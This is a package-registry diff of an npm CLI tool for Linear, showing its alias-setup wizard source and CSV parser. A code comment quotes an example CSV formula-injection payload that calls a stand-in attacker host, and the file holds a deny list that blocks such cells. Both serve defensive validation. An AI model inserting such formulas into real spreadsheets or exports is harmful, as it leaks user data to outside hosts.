@enrichlayer/el-linear 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (151) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +219 -0
  3. package/claude-skills/linear-operations/SKILL.md +315 -0
  4. package/claude-skills/linear-operations/evals/evals.json +46 -0
  5. package/dist/commands/attachments.d.ts +2 -0
  6. package/dist/commands/attachments.js +57 -0
  7. package/dist/commands/batch.d.ts +2 -0
  8. package/dist/commands/batch.js +309 -0
  9. package/dist/commands/comments.d.ts +2 -0
  10. package/dist/commands/comments.js +272 -0
  11. package/dist/commands/config.d.ts +2 -0
  12. package/dist/commands/config.js +15 -0
  13. package/dist/commands/cycles.d.ts +2 -0
  14. package/dist/commands/cycles.js +63 -0
  15. package/dist/commands/documents.d.ts +2 -0
  16. package/dist/commands/documents.js +175 -0
  17. package/dist/commands/embeds.d.ts +2 -0
  18. package/dist/commands/embeds.js +65 -0
  19. package/dist/commands/gdoc.d.ts +2 -0
  20. package/dist/commands/gdoc.js +37 -0
  21. package/dist/commands/graphql.d.ts +2 -0
  22. package/dist/commands/graphql.js +70 -0
  23. package/dist/commands/init/aliases.d.ts +109 -0
  24. package/dist/commands/init/aliases.js +569 -0
  25. package/dist/commands/init/defaults.d.ts +25 -0
  26. package/dist/commands/init/defaults.js +112 -0
  27. package/dist/commands/init/index.d.ts +18 -0
  28. package/dist/commands/init/index.js +182 -0
  29. package/dist/commands/init/shared.d.ts +88 -0
  30. package/dist/commands/init/shared.js +164 -0
  31. package/dist/commands/init/token.d.ts +50 -0
  32. package/dist/commands/init/token.js +141 -0
  33. package/dist/commands/init/workspace.d.ts +20 -0
  34. package/dist/commands/init/workspace.js +80 -0
  35. package/dist/commands/issue-id.d.ts +28 -0
  36. package/dist/commands/issue-id.js +81 -0
  37. package/dist/commands/issues.d.ts +2 -0
  38. package/dist/commands/issues.js +1145 -0
  39. package/dist/commands/labels.d.ts +2 -0
  40. package/dist/commands/labels.js +100 -0
  41. package/dist/commands/project-milestones.d.ts +2 -0
  42. package/dist/commands/project-milestones.js +143 -0
  43. package/dist/commands/projects.d.ts +2 -0
  44. package/dist/commands/projects.js +336 -0
  45. package/dist/commands/read-shortcut.d.ts +6 -0
  46. package/dist/commands/read-shortcut.js +69 -0
  47. package/dist/commands/releases.d.ts +2 -0
  48. package/dist/commands/releases.js +142 -0
  49. package/dist/commands/search.d.ts +2 -0
  50. package/dist/commands/search.js +171 -0
  51. package/dist/commands/teams.d.ts +2 -0
  52. package/dist/commands/teams.js +19 -0
  53. package/dist/commands/templates.d.ts +2 -0
  54. package/dist/commands/templates.js +58 -0
  55. package/dist/commands/users.d.ts +2 -0
  56. package/dist/commands/users.js +17 -0
  57. package/dist/config/config.d.ts +43 -0
  58. package/dist/config/config.js +81 -0
  59. package/dist/config/issue-validation.d.ts +39 -0
  60. package/dist/config/issue-validation.js +264 -0
  61. package/dist/config/paths.d.ts +20 -0
  62. package/dist/config/paths.js +22 -0
  63. package/dist/config/resolver.d.ts +25 -0
  64. package/dist/config/resolver.js +183 -0
  65. package/dist/config/status-defaults.d.ts +13 -0
  66. package/dist/config/status-defaults.js +20 -0
  67. package/dist/config/term-enforcer.d.ts +31 -0
  68. package/dist/config/term-enforcer.js +69 -0
  69. package/dist/main.d.ts +2 -0
  70. package/dist/main.js +76 -0
  71. package/dist/queries/attachments.d.ts +3 -0
  72. package/dist/queries/attachments.js +35 -0
  73. package/dist/queries/comments.d.ts +3 -0
  74. package/dist/queries/comments.js +64 -0
  75. package/dist/queries/common.d.ts +2 -0
  76. package/dist/queries/common.js +109 -0
  77. package/dist/queries/cycles.d.ts +2 -0
  78. package/dist/queries/cycles.js +40 -0
  79. package/dist/queries/documents.d.ts +5 -0
  80. package/dist/queries/documents.js +67 -0
  81. package/dist/queries/introspect.d.ts +2 -0
  82. package/dist/queries/introspect.js +24 -0
  83. package/dist/queries/issues.d.ts +23 -0
  84. package/dist/queries/issues.js +380 -0
  85. package/dist/queries/labels.d.ts +4 -0
  86. package/dist/queries/labels.js +53 -0
  87. package/dist/queries/project-milestones.d.ts +6 -0
  88. package/dist/queries/project-milestones.js +125 -0
  89. package/dist/queries/projects.d.ts +7 -0
  90. package/dist/queries/projects.js +104 -0
  91. package/dist/queries/releases.d.ts +4 -0
  92. package/dist/queries/releases.js +85 -0
  93. package/dist/queries/search.d.ts +1 -0
  94. package/dist/queries/search.js +35 -0
  95. package/dist/queries/templates.d.ts +2 -0
  96. package/dist/queries/templates.js +30 -0
  97. package/dist/types/linear.d.ts +217 -0
  98. package/dist/types/linear.js +6 -0
  99. package/dist/utils/auth.d.ts +4 -0
  100. package/dist/utils/auth.js +23 -0
  101. package/dist/utils/auto-link-references.d.ts +47 -0
  102. package/dist/utils/auto-link-references.js +188 -0
  103. package/dist/utils/date-format.d.ts +4 -0
  104. package/dist/utils/date-format.js +8 -0
  105. package/dist/utils/download-uploads.d.ts +7 -0
  106. package/dist/utils/download-uploads.js +88 -0
  107. package/dist/utils/embed-parser.d.ts +8 -0
  108. package/dist/utils/embed-parser.js +54 -0
  109. package/dist/utils/error-messages.d.ts +4 -0
  110. package/dist/utils/error-messages.js +17 -0
  111. package/dist/utils/file-service.d.ts +13 -0
  112. package/dist/utils/file-service.js +239 -0
  113. package/dist/utils/gdoc-parser.d.ts +45 -0
  114. package/dist/utils/gdoc-parser.js +107 -0
  115. package/dist/utils/graphql-attachments-service.d.ts +12 -0
  116. package/dist/utils/graphql-attachments-service.js +46 -0
  117. package/dist/utils/graphql-documents-service.d.ts +18 -0
  118. package/dist/utils/graphql-documents-service.js +97 -0
  119. package/dist/utils/graphql-issues-service.d.ts +49 -0
  120. package/dist/utils/graphql-issues-service.js +925 -0
  121. package/dist/utils/graphql-service.d.ts +8 -0
  122. package/dist/utils/graphql-service.js +35 -0
  123. package/dist/utils/identifier-parser.d.ts +7 -0
  124. package/dist/utils/identifier-parser.js +20 -0
  125. package/dist/utils/issue-reference-extractor.d.ts +18 -0
  126. package/dist/utils/issue-reference-extractor.js +95 -0
  127. package/dist/utils/issue-reference-wrapper.d.ts +12 -0
  128. package/dist/utils/issue-reference-wrapper.js +91 -0
  129. package/dist/utils/linear-service.d.ts +26 -0
  130. package/dist/utils/linear-service.js +442 -0
  131. package/dist/utils/logger.d.ts +4 -0
  132. package/dist/utils/logger.js +8 -0
  133. package/dist/utils/markdown-prosemirror.d.ts +24 -0
  134. package/dist/utils/markdown-prosemirror.js +325 -0
  135. package/dist/utils/mention-resolver.d.ts +31 -0
  136. package/dist/utils/mention-resolver.js +234 -0
  137. package/dist/utils/output.d.ts +7 -0
  138. package/dist/utils/output.js +125 -0
  139. package/dist/utils/table-formatter.d.ts +4 -0
  140. package/dist/utils/table-formatter.js +249 -0
  141. package/dist/utils/usage.d.ts +2 -0
  142. package/dist/utils/usage.js +24 -0
  143. package/dist/utils/uuid.d.ts +2 -0
  144. package/dist/utils/uuid.js +8 -0
  145. package/dist/utils/validate-references.d.ts +10 -0
  146. package/dist/utils/validate-references.js +33 -0
  147. package/dist/utils/validators.d.ts +7 -0
  148. package/dist/utils/validators.js +71 -0
  149. package/dist/utils/workspace-url.d.ts +4 -0
  150. package/dist/utils/workspace-url.js +44 -0
  151. package/package.json +71 -0
@@ -0,0 +1,569 @@
1
+ /**
2
+ * Step 3 of the wizard: member aliases.
3
+ *
4
+ * For each Linear user in the workspace, the user can add short aliases,
5
+ * GitHub handles, and GitLab handles used for resolution. Skip-by-default
6
+ * (most users skip this and only fill in the people they @-mention often).
7
+ *
8
+ * Idempotent: re-running shows the current aliases per user and offers a
9
+ * 4-way menu (keep / edit / append / clear) plus quit. Progress is persisted
10
+ * so an interrupted walk can be resumed via `el-linear init aliases`.
11
+ */
12
+ import fs from "node:fs/promises";
13
+ import { confirm, input, select } from "@inquirer/prompts";
14
+ import { GraphQLService } from "../../utils/graphql-service.js";
15
+ import { clearAliasesProgress, parseCsvList, readAliasesProgress, writeAliasesProgress, } from "./shared.js";
16
+ const USERS_QUERY = /* GraphQL */ `
17
+ query InitUsers($first: Int!, $after: String) {
18
+ users(first: $first, after: $after, includeDisabled: false) {
19
+ pageInfo { endCursor hasNextPage }
20
+ nodes { id name email displayName active }
21
+ }
22
+ }
23
+ `;
24
+ export async function fetchAllUsers(token) {
25
+ const service = new GraphQLService(token);
26
+ const out = [];
27
+ let after;
28
+ for (;;) {
29
+ const data = await service.rawRequest(USERS_QUERY, {
30
+ first: 100,
31
+ after,
32
+ });
33
+ for (const u of data.users.nodes) {
34
+ if (!u.active)
35
+ continue;
36
+ out.push({
37
+ id: u.id,
38
+ name: u.name,
39
+ email: u.email,
40
+ displayName: u.displayName ?? u.name,
41
+ });
42
+ }
43
+ if (!data.users.pageInfo.hasNextPage || !data.users.pageInfo.endCursor)
44
+ break;
45
+ after = data.users.pageInfo.endCursor;
46
+ }
47
+ return out;
48
+ }
49
+ /**
50
+ * Find groups of users sharing the same display name. The current alias
51
+ * config keys aliases by display name, so colliding users would silently
52
+ * overwrite each other's entries. Detection is exported so the wizard can
53
+ * warn + skip those users; a follow-up (1.3.0) will migrate the on-disk
54
+ * schema to UUID-keyed maps.
55
+ */
56
+ export function findDisplayNameCollisions(users) {
57
+ const byName = new Map();
58
+ for (const u of users) {
59
+ const list = byName.get(u.displayName);
60
+ if (list)
61
+ list.push(u);
62
+ else
63
+ byName.set(u.displayName, [u]);
64
+ }
65
+ const collisions = new Map();
66
+ for (const [name, group] of byName) {
67
+ if (group.length > 1)
68
+ collisions.set(name, group);
69
+ }
70
+ return collisions;
71
+ }
72
+ /** Apply a HandleAction to a `{ handle: fullName }` map for one user. */
73
+ function applyHandleAction(handlesMap, fullName, action) {
74
+ if (action.kind === "keep")
75
+ return;
76
+ const currentKeys = Object.entries(handlesMap)
77
+ .filter(([_, v]) => v === fullName)
78
+ .map(([k]) => k);
79
+ for (const k of currentKeys)
80
+ delete handlesMap[k];
81
+ if (action.kind === "set" && action.value.trim()) {
82
+ handlesMap[action.value.trim()] = fullName;
83
+ }
84
+ }
85
+ /**
86
+ * Merge new alias entries into existing config without dropping unrelated
87
+ * fields. Pure function — no I/O. Exported for testing.
88
+ */
89
+ export function mergeAliasesIntoConfig(existing, updates) {
90
+ const next = JSON.parse(JSON.stringify(existing));
91
+ next.members = next.members ?? {};
92
+ next.members.aliases = next.members.aliases ?? {};
93
+ next.members.fullNames = next.members.fullNames ?? {};
94
+ next.members.handles = next.members.handles ?? {};
95
+ next.members.uuids = next.members.uuids ?? {};
96
+ next.members.handles.github = next.members.handles.github ?? {};
97
+ next.members.handles.gitlab = next.members.handles.gitlab ?? {};
98
+ for (const [userId, update] of updates) {
99
+ const fullName = update.displayName;
100
+ next.members.uuids[fullName] = userId;
101
+ next.members.fullNames[userId] = fullName;
102
+ // Aliases: replace this user's entries based on the update mode.
103
+ // We track aliases as { aliasKey: fullName }, so removing means deleting
104
+ // any keys whose value is this fullName.
105
+ const currentAliasKeys = Object.entries(next.members.aliases)
106
+ .filter(([_, v]) => v === fullName)
107
+ .map(([k]) => k);
108
+ if (update.mode === "clear") {
109
+ for (const k of currentAliasKeys)
110
+ delete next.members.aliases[k];
111
+ }
112
+ else if (update.mode === "edit") {
113
+ for (const k of currentAliasKeys)
114
+ delete next.members.aliases[k];
115
+ for (const a of update.aliases)
116
+ next.members.aliases[a] = fullName;
117
+ }
118
+ else if (update.mode === "append") {
119
+ for (const a of update.aliases)
120
+ next.members.aliases[a] = fullName;
121
+ }
122
+ // "keep" → no changes.
123
+ // GitHub / GitLab handles use the same edit/append/clear semantics,
124
+ // driven by the discriminated HandleAction per platform.
125
+ for (const platform of HANDLE_PLATFORMS) {
126
+ applyHandleAction(next.members.handles[platform], fullName, update[platform]);
127
+ }
128
+ }
129
+ return next;
130
+ }
131
+ /** Set of supported platforms for member handle keys. */
132
+ export const HANDLE_PLATFORMS = ["github", "gitlab"];
133
+ function currentAliasesFor(config, fullName) {
134
+ const aliases = config.members?.aliases ?? {};
135
+ return Object.entries(aliases)
136
+ .filter(([_, v]) => v === fullName)
137
+ .map(([k]) => k);
138
+ }
139
+ function currentHandleFor(config, platform, fullName) {
140
+ const handles = config.members?.handles?.[platform] ?? {};
141
+ for (const [k, v] of Object.entries(handles)) {
142
+ if (v === fullName)
143
+ return k;
144
+ }
145
+ return undefined;
146
+ }
147
+ /**
148
+ * Walk users one-by-one. Returns updates keyed by user UUID. Caller writes
149
+ * them back via `mergeAliasesIntoConfig`. The CSV import path is a separate
150
+ * entrypoint (`runAliasesImport`) — there's no `importCsv` option on this
151
+ * function, since the index.ts handler picks one or the other.
152
+ */
153
+ export async function runAliasesStep(token, existing, options = {}) {
154
+ const proceed = options.force
155
+ ? true
156
+ : await confirm({
157
+ message: "Walk through users now to add aliases? Most teams skip this and add aliases later " +
158
+ "via `el-linear init aliases` for the people they @-mention often.",
159
+ default: false,
160
+ });
161
+ if (!proceed) {
162
+ // biome-ignore lint/suspicious/noConsole: wizard
163
+ console.log(" Skipped — run `el-linear init aliases` to add or edit aliases later.");
164
+ return new Map();
165
+ }
166
+ const allUsers = await fetchAllUsers(token);
167
+ if (allUsers.length === 0) {
168
+ // biome-ignore lint/suspicious/noConsole: wizard
169
+ console.log(" No active users visible to this token.");
170
+ return new Map();
171
+ }
172
+ // Skip users whose display name collides with another active user. The
173
+ // current schema keys aliases by display name, so writing aliases for a
174
+ // colliding user would corrupt the other user's entries. A schema migration
175
+ // to UUID-keyed maps is queued for 1.3.0.
176
+ const collisions = findDisplayNameCollisions(allUsers);
177
+ const collidingIds = new Set();
178
+ if (collisions.size > 0) {
179
+ // biome-ignore lint/suspicious/noConsole: wizard
180
+ console.log(` ⚠ ${collisions.size} display name(s) are shared by multiple active users — skipping those to avoid alias corruption:`);
181
+ for (const [name, group] of collisions) {
182
+ // biome-ignore lint/suspicious/noConsole: wizard
183
+ console.log(` "${name}" — ${group.map((u) => u.email ?? u.id).join(", ")}`);
184
+ for (const u of group)
185
+ collidingIds.add(u.id);
186
+ }
187
+ // biome-ignore lint/suspicious/noConsole: wizard
188
+ console.log(" (Add aliases manually in ~/.config/el-linear/config.json for now; schema migration in 1.3.0.)");
189
+ }
190
+ const users = allUsers.filter((u) => !collidingIds.has(u.id));
191
+ if (users.length === 0) {
192
+ // biome-ignore lint/suspicious/noConsole: wizard
193
+ console.log(" No safe-to-alias users remain after collision filter.");
194
+ return new Map();
195
+ }
196
+ const startIdx = await resolveResumePoint(users);
197
+ // biome-ignore lint/suspicious/noConsole: wizard
198
+ console.log(` Walking ${users.length - startIdx}/${users.length} users. Type 'q' at any prompt to stop and save progress.`);
199
+ const updates = new Map();
200
+ let lastCompletedIdx = startIdx - 1;
201
+ const saveProgress = async () => {
202
+ if (lastCompletedIdx < 0)
203
+ return;
204
+ await writeAliasesProgress({
205
+ lastCompletedUserId: users[lastCompletedIdx].id,
206
+ totalUsers: users.length,
207
+ savedAt: new Date().toISOString(),
208
+ });
209
+ };
210
+ try {
211
+ for (let i = startIdx; i < users.length; i++) {
212
+ const u = users[i];
213
+ const update = await promptForUser(i + 1, users.length, u, existing);
214
+ if (update === "quit") {
215
+ await saveProgress();
216
+ // biome-ignore lint/suspicious/noConsole: wizard
217
+ console.log(` Saved progress at ${lastCompletedIdx + 1}/${users.length}. Resume with \`el-linear init aliases\`.`);
218
+ return updates;
219
+ }
220
+ if (update.mode !== "keep" ||
221
+ update.github.kind !== "keep" ||
222
+ update.gitlab.kind !== "keep") {
223
+ updates.set(u.id, update);
224
+ }
225
+ lastCompletedIdx = i;
226
+ }
227
+ await clearAliasesProgress();
228
+ // biome-ignore lint/suspicious/noConsole: wizard
229
+ console.log(` ✓ Walked all ${users.length} users.`);
230
+ return updates;
231
+ }
232
+ catch (err) {
233
+ // Save what we have on unexpected error so the user can resume.
234
+ if (lastCompletedIdx >= startIdx)
235
+ await saveProgress();
236
+ throw err;
237
+ }
238
+ }
239
+ /**
240
+ * Decide where to resume the user-walk. Looks up the saved
241
+ * `lastCompletedUserId` in the freshly-fetched user list:
242
+ * - found → resume at the next index after that user
243
+ * - not found → the workspace changed (user removed/disabled). Start over.
244
+ * - no progress → start at 0
245
+ *
246
+ * Keying by UUID instead of index means a user being removed or added
247
+ * between runs no longer silently misaligns the resume point onto the
248
+ * wrong person.
249
+ */
250
+ async function resolveResumePoint(users) {
251
+ const progress = await readAliasesProgress();
252
+ if (!progress?.lastCompletedUserId)
253
+ return 0;
254
+ const idx = users.findIndex((u) => u.id === progress.lastCompletedUserId);
255
+ if (idx < 0) {
256
+ // biome-ignore lint/suspicious/noConsole: wizard
257
+ console.log(" Saved progress points at a user no longer in the workspace. Starting over.");
258
+ await clearAliasesProgress();
259
+ return 0;
260
+ }
261
+ const resume = await confirm({
262
+ message: `Resume from user ${idx + 2}/${users.length}? (saved ${progress.savedAt})`,
263
+ default: true,
264
+ });
265
+ if (resume)
266
+ return idx + 1;
267
+ await clearAliasesProgress();
268
+ return 0;
269
+ }
270
+ async function promptForUser(index, total, user, existing) {
271
+ const fullName = user.displayName;
272
+ const currentAliases = currentAliasesFor(existing, fullName);
273
+ const currentGithub = currentHandleFor(existing, "github", fullName);
274
+ const currentGitlab = currentHandleFor(existing, "gitlab", fullName);
275
+ // biome-ignore lint/suspicious/noConsole: wizard
276
+ console.log(`\n [${index}/${total}] ${fullName}${user.email ? ` <${user.email}>` : ""}`);
277
+ if (currentAliases.length > 0) {
278
+ // biome-ignore lint/suspicious/noConsole: wizard
279
+ console.log(` Current aliases: ${currentAliases.join(", ")}`);
280
+ }
281
+ if (currentGithub) {
282
+ // biome-ignore lint/suspicious/noConsole: wizard
283
+ console.log(` Current GitHub: ${currentGithub}`);
284
+ }
285
+ if (currentGitlab) {
286
+ // biome-ignore lint/suspicious/noConsole: wizard
287
+ console.log(` Current GitLab: ${currentGitlab}`);
288
+ }
289
+ const action = await select({
290
+ message: currentAliases.length > 0 ? "Action:" : "Add aliases for this user?",
291
+ choices: [
292
+ { name: "Keep as-is (skip this user)", value: "keep" },
293
+ {
294
+ name: currentAliases.length > 0 ? "Edit (replace aliases)" : "Add aliases",
295
+ value: "edit",
296
+ },
297
+ ...(currentAliases.length > 0
298
+ ? [
299
+ {
300
+ name: "Append (keep current + add more)",
301
+ value: "append",
302
+ },
303
+ {
304
+ name: "Clear (remove all aliases for this user)",
305
+ value: "clear",
306
+ },
307
+ ]
308
+ : []),
309
+ { name: "Quit (save progress, exit walk)", value: "quit" },
310
+ ],
311
+ default: "keep",
312
+ });
313
+ if (action === "quit")
314
+ return "quit";
315
+ if (action === "keep") {
316
+ return {
317
+ displayName: fullName,
318
+ mode: "keep",
319
+ aliases: [],
320
+ github: { kind: "keep" },
321
+ gitlab: { kind: "keep" },
322
+ };
323
+ }
324
+ if (action === "clear") {
325
+ return {
326
+ displayName: fullName,
327
+ mode: "clear",
328
+ aliases: [],
329
+ github: currentGithub ? { kind: "clear" } : { kind: "keep" },
330
+ gitlab: currentGitlab ? { kind: "clear" } : { kind: "keep" },
331
+ };
332
+ }
333
+ // edit / append: collect aliases + handles
334
+ const aliasesRaw = await input({
335
+ message: "Aliases (comma-separated, blank to skip):",
336
+ default: action === "edit" ? currentAliases.join(", ") : "",
337
+ });
338
+ const githubRaw = await input({
339
+ message: "GitHub handle (blank to skip):",
340
+ default: currentGithub ?? "",
341
+ });
342
+ const gitlabRaw = await input({
343
+ message: "GitLab handle (blank to skip):",
344
+ default: currentGitlab ?? "",
345
+ });
346
+ return {
347
+ displayName: fullName,
348
+ mode: action,
349
+ aliases: parseCsvList(aliasesRaw),
350
+ github: handleActionFromInput(githubRaw, currentGithub),
351
+ gitlab: handleActionFromInput(gitlabRaw, currentGitlab),
352
+ };
353
+ }
354
+ /**
355
+ * Translate the raw user input for a handle into a HandleAction:
356
+ * - input matches the existing value (or both empty) → keep
357
+ * - input is empty + existing was set → clear
358
+ * - input is non-empty + differs from existing → set
359
+ */
360
+ function handleActionFromInput(rawInput, existing) {
361
+ const current = existing ?? "";
362
+ if (rawInput === current)
363
+ return { kind: "keep" };
364
+ const trimmed = rawInput.trim();
365
+ if (!trimmed)
366
+ return { kind: "clear" };
367
+ return { kind: "set", value: trimmed };
368
+ }
369
+ export async function runAliasesImport(token, csvPath) {
370
+ const raw = await fs.readFile(csvPath, "utf8");
371
+ const rows = parseCsv(raw);
372
+ const users = await fetchAllUsers(token);
373
+ const byEmail = new Map();
374
+ for (const u of users) {
375
+ if (u.email)
376
+ byEmail.set(u.email.toLowerCase(), u);
377
+ }
378
+ const updates = new Map();
379
+ const skipped = [];
380
+ for (const row of rows) {
381
+ const email = (row.email ?? "").trim().toLowerCase();
382
+ if (!email)
383
+ continue;
384
+ const user = byEmail.get(email);
385
+ if (!user) {
386
+ skipped.push(email);
387
+ continue;
388
+ }
389
+ updates.set(user.id, {
390
+ displayName: user.displayName,
391
+ mode: "edit",
392
+ aliases: parseCsvList(row.aliases ?? ""),
393
+ github: row.github?.trim()
394
+ ? { kind: "set", value: row.github.trim() }
395
+ : { kind: "keep" },
396
+ gitlab: row.gitlab?.trim()
397
+ ? { kind: "set", value: row.gitlab.trim() }
398
+ : { kind: "keep" },
399
+ });
400
+ }
401
+ return { updates, skipped };
402
+ }
403
+ /**
404
+ * Single-pass character-state CSV parser. Handles RFC 4180 specifics that
405
+ * a split-by-newline approach gets wrong:
406
+ * - Cells with embedded newlines (legal when quoted)
407
+ * - Escaped quotes (`""` inside a quoted cell)
408
+ * - CRLF line endings
409
+ * - `#` comment lines (el-linear extension; only at line start)
410
+ *
411
+ * Sanitizes against CSV-formula-injection at parse time: any cell starting
412
+ * with `=`, `+`, `-`, `@`, `\t`, or `\r` is rejected. These would activate
413
+ * formulas if the resulting config were ever round-tripped to a spreadsheet
414
+ * (e.g. an alias of `=HYPERLINK("http://attacker/?leak="&A1)` would store
415
+ * verbatim today and fire the moment someone opened the export in Excel).
416
+ */
417
+ export function parseCsv(text) {
418
+ const records = parseCsvRecords(text);
419
+ const cleaned = records.filter((cells) => {
420
+ // Drop blank lines and `#`-prefixed comment lines.
421
+ if (cells.length === 0)
422
+ return false;
423
+ if (cells.length === 1 && cells[0].trim() === "")
424
+ return false;
425
+ const first = cells[0];
426
+ if (first.trim().startsWith("#"))
427
+ return false;
428
+ return true;
429
+ });
430
+ if (cleaned.length === 0)
431
+ return [];
432
+ const header = cleaned[0].map((h) => h.trim().toLowerCase());
433
+ const rows = [];
434
+ for (let i = 1; i < cleaned.length; i++) {
435
+ const cells = cleaned[i];
436
+ const row = {};
437
+ for (let j = 0; j < header.length; j++) {
438
+ const value = (cells[j] ?? "").trim();
439
+ assertNoFormulaInjection(value);
440
+ const k = header[j];
441
+ row[k] = value;
442
+ }
443
+ rows.push(row);
444
+ }
445
+ return rows;
446
+ }
447
+ // `=+-@` are the OWASP-flagged formula-injection triggers in Excel/Google
448
+ // Sheets. Tab and CR are also mentioned in some guides, but our parser trims
449
+ // each cell before reaching this check, so leading whitespace is stripped
450
+ // regardless. Keep the list narrow to avoid false-positive rejections.
451
+ const FORMULA_PREFIXES = ["=", "+", "-", "@"];
452
+ function assertNoFormulaInjection(cell) {
453
+ if (cell.length === 0)
454
+ return;
455
+ const first = cell[0];
456
+ if (FORMULA_PREFIXES.includes(first)) {
457
+ throw new Error(`CSV cell starts with "${first}" — refusing to import to prevent ` +
458
+ `formula injection (cell: ${JSON.stringify(cell.slice(0, 40))}). ` +
459
+ `Prefix with a space if the value is intentional.`);
460
+ }
461
+ }
462
+ /**
463
+ * Tokenize a CSV document into records (each record is an array of cells).
464
+ * Walks character-by-character through a four-state machine:
465
+ * - cellStart: about to read a cell. Decide quoted vs. unquoted.
466
+ * - unquoted: reading an unquoted cell. , and newline terminate.
467
+ * - quoted: inside a quoted cell. " is the only terminator.
468
+ * - quotedEnd: just saw a " inside a quoted cell — `""` escapes; otherwise
469
+ * the cell is closed and we expect a delimiter.
470
+ */
471
+ function parseCsvRecords(text) {
472
+ const records = [];
473
+ let row = [];
474
+ let cell = "";
475
+ let state = "cellStart";
476
+ const finishCell = () => {
477
+ row.push(cell);
478
+ cell = "";
479
+ state = "cellStart";
480
+ };
481
+ const finishRow = () => {
482
+ row.push(cell);
483
+ cell = "";
484
+ records.push(row);
485
+ row = [];
486
+ state = "cellStart";
487
+ };
488
+ for (let i = 0; i < text.length; i++) {
489
+ const ch = text[i];
490
+ if (state === "cellStart") {
491
+ if (ch === '"') {
492
+ state = "quoted";
493
+ continue;
494
+ }
495
+ if (ch === ",") {
496
+ finishCell();
497
+ continue;
498
+ }
499
+ if (ch === "\n") {
500
+ finishRow();
501
+ continue;
502
+ }
503
+ if (ch === "\r") {
504
+ if (text[i + 1] === "\n")
505
+ i++;
506
+ finishRow();
507
+ continue;
508
+ }
509
+ cell += ch;
510
+ state = "unquoted";
511
+ continue;
512
+ }
513
+ if (state === "unquoted") {
514
+ if (ch === ",") {
515
+ finishCell();
516
+ continue;
517
+ }
518
+ if (ch === "\n") {
519
+ finishRow();
520
+ continue;
521
+ }
522
+ if (ch === "\r") {
523
+ if (text[i + 1] === "\n")
524
+ i++;
525
+ finishRow();
526
+ continue;
527
+ }
528
+ cell += ch;
529
+ continue;
530
+ }
531
+ if (state === "quoted") {
532
+ if (ch === '"') {
533
+ state = "quotedEnd";
534
+ continue;
535
+ }
536
+ cell += ch;
537
+ continue;
538
+ }
539
+ // quotedEnd
540
+ if (ch === '"') {
541
+ cell += '"';
542
+ state = "quoted";
543
+ continue;
544
+ }
545
+ if (ch === ",") {
546
+ finishCell();
547
+ continue;
548
+ }
549
+ if (ch === "\n") {
550
+ finishRow();
551
+ continue;
552
+ }
553
+ if (ch === "\r") {
554
+ if (text[i + 1] === "\n")
555
+ i++;
556
+ finishRow();
557
+ continue;
558
+ }
559
+ // Stray character after a closed quote — forgive and treat as unquoted.
560
+ cell += ch;
561
+ state = "unquoted";
562
+ }
563
+ // Trailing record (no terminating newline).
564
+ if (cell.length > 0 || row.length > 0) {
565
+ row.push(cell);
566
+ records.push(row);
567
+ }
568
+ return records;
569
+ }
@@ -0,0 +1,25 @@
1
+ /**
2
+ * Step 4 of the wizard: default labels, status defaults, term enforcement.
3
+ *
4
+ * All optional. Each subsection asks "change?" with default=N so re-running
5
+ * with no input is a no-op.
6
+ */
7
+ import { type WizardConfig } from "./shared.js";
8
+ export interface DefaultsStepResult {
9
+ defaultLabels: string[] | undefined;
10
+ /**
11
+ * Status defaults. Both fields are optional so the wizard preserves
12
+ * partial existing configs (`{ noProject: "Backlog" }` only) byte-for-byte
13
+ * when the user skips the edit step. The runtime config loader applies
14
+ * fallbacks at read time.
15
+ */
16
+ statusDefaults: {
17
+ noProject?: string;
18
+ withAssigneeAndProject?: string;
19
+ } | undefined;
20
+ terms: Array<{
21
+ canonical: string;
22
+ reject: string[];
23
+ }> | undefined;
24
+ }
25
+ export declare function runDefaultsStep(existing: WizardConfig): Promise<DefaultsStepResult>;